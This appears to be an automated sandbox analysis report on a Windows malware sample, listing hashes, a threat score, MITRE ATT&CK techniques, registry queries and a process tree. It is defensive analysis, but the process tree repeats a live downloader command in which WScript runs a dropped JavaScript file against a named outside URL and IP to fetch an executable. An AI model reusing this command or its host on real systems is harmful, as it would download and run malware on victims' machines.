149f8a8d6a32d50c23fd889b71b99be0b292bc3560da7b2c4205671046233999

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
17/05/2024, 03:53

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General

Target

4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe
Size

184KB
MD5

4e5153e92114039ec3395ecbfe302ee3
SHA1

98906e7e788172fb49d405f0ae79b11db35d1b20
SHA256

149f8a8d6a32d50c23fd889b71b99be0b292bc3560da7b2c4205671046233999
SHA512

10ae7daea564c1795106255ca6111aeacb0e4ba820973ad83a9e8d2fcf5a12209dc588add2b9f992cf39a15949e4d87ef849a480d0aea2edfcfdbb9d951889ac
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO34:/7BSH8zUB+nGESaaRvoB7FJNndnV

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
6	380	WScript.exe
32	2948	WScript.exe
35	2312	WScript.exe
50	4024	WScript.exe
52	1020	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1128 wrote to memory of 380	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	83
PID 1128 wrote to memory of 380	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	83
PID 1128 wrote to memory of 380	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	83
PID 1128 wrote to memory of 2948	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	96
PID 1128 wrote to memory of 2948	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	96
PID 1128 wrote to memory of 2948	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	96
PID 1128 wrote to memory of 2312	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	97
PID 1128 wrote to memory of 2312	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	97
PID 1128 wrote to memory of 2312	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	97
PID 1128 wrote to memory of 4024	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	101
PID 1128 wrote to memory of 4024	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	101
PID 1128 wrote to memory of 4024	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	101
PID 1128 wrote to memory of 1020	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	102
PID 1128 wrote to memory of 1020	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	102
PID 1128 wrote to memory of 1020	1128	4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe	102

C:\Users\Admin\AppData\Local\Temp\4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\4e5153e92114039ec3395ecbfe302ee3_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1128
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf468E.js" http://www.djapp.info/?domain=ZCfITwJEtP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf468E.exe
  2⤵
  - Blocklisted process makes network request
  PID:380
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf468E.js" http://www.djapp.info/?domain=ZCfITwJEtP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf468E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2948
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf468E.js" http://www.djapp.info/?domain=ZCfITwJEtP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf468E.exe
  2⤵
  - Blocklisted process makes network request
  PID:2312
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf468E.js" http://www.djapp.info/?domain=ZCfITwJEtP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf468E.exe
  2⤵
  - Blocklisted process makes network request
  PID:4024
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf468E.js" http://www.djapp.info/?domain=ZCfITwJEtP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf468E.exe
  2⤵
  - Blocklisted process makes network request
  PID:1020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf468E.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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